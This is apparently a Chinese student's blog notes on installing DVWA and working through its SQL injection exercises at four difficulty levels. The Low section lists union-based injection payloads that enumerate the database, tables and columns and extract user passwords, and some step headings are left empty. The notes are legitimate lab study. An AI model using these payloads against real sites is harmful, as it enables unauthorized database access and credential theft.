DVWA 环境搭建和安装简易使用
- 下载安装phpstudy，这部分不用说了，肯定大家都有，或者安装过。在浏览器输入127.0.0.1，测试一下。
- 官网下载DVWA http://www.dvwa.co.uk ，解压后放在phpstudy的www目录下。
- 此时mysql的密码还是空，登录的时候会提示不能空，可以从phpstudy的界面【其他选项菜单】->【My SQL工具】->【重置密码】。
- 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的db_password的对应值改为刚设置的。
- 浏览器输入127.0.0.1/DVWA，出现登录界面，账户名和密码分别是：admin和password。
DVWA的简介
首先，DVWA有多个模块，涉及网络安全的方方面面，其次，代码等级分为Low，Medium，High，Impossible四个等级，在官方介绍中有提到High难度跟ctf接近。
因为研究生阶段即将开始网安的学习，所以好好研究DVWA成了开学前给自己的重要任务。接下来将针对各个模块进行学习笔记的记录，因为是从头学，所以难免啰嗦。
这篇文章只是针对我在学习研究DVWA过程中学到的知识点，和遇到的困难，有不对的地方还请大神不吝赐教。
DVWA - SQL注入
需要注意两部分：第一，右下角有查看源代码的按钮，对于分析四个难度的区别很有帮助；第二，从我目前的知识水平觉得，SQL注入需要实战经验，所以接下来的笔记仅仅是沿着车辙，按图索骥的学习。
【1】low
第一步，
第二步，
第三步，
第四步，
第五步，
- 1' union select 1,database()# 爆出数据库名称：dvwa
- 1 'UNION ALL SELECT version(),1# 爆出运行的mysql版本
- 1 'UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名（此时是所有库里的）
- 1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'# 爆出所有表名（dvwa库里的）
- 1' union select 1,column_name from information_schema.columns where table_name='users'# 根据爆出的表，去查找所有列
- 1' union select user,password from users# 根据所有的列名，查找需要的对应的内容（这里我把那两个显式的输出分别输出user，password）
总结：到这里low等级注入攻击结束，已经得到需要的全部密码了，先用单引号和and测试是否有注入点，然后暴库，根据库暴表，根据表暴列，根据列找到所需的所有内容。
【2】medium
第一步，分析，medium级别是一个下拉列表，当改变输入时，网址http://127.0.0.1/dvwa/vulnerabilities/sqli/#，可见多了#，但是无论怎么改网址都不变，所以应该不是get型，而是post型。
第二步，用hackbar测试一下（这里留一个关于hackbar安装的坑，已补坑 https://www.cnblogs.com/wayne-tao/p/11022640.html），在post中输入 id=3&Submit=Submit，运行发现，输出正确，post型注入可行！
第三步，这时候就已经跟low等级一样了，在id=之后输入注入查询代码即可，注意此时 ‘ 和 # 提示错误，推测是源代码进行了处理，所以去掉继续尝试，可行！到这里medium就解决了
总结：难度主要体现在下拉列表上和输入检查上，可以通过工具避开，其他原理跟low一样，除了hackbar还有burp suite也可以实现，这里留着之后专门再研究这两个工具，留坑，
【3】high
high等级很奇怪，我发现方法跟low完全一样，唯一的问题是，change id需要从新的窗口输入，输入内容上跟low完全一样。暂时还没明白跟low等级的区别。留坑对四个等级源代码进行对比分析
【4】impossible
impossible等级用的pdo，目前貌似是没法注入
目前找到的方案是关于PDO的，Are PDO safe？，但是现在我还看不懂。。。新坑
推荐两篇博客，我感觉写的非常好！作为引入门和工具小全查看都可以
以上，是学习SQL注入攻击的全部笔记，会伴随以后的学习持续更新。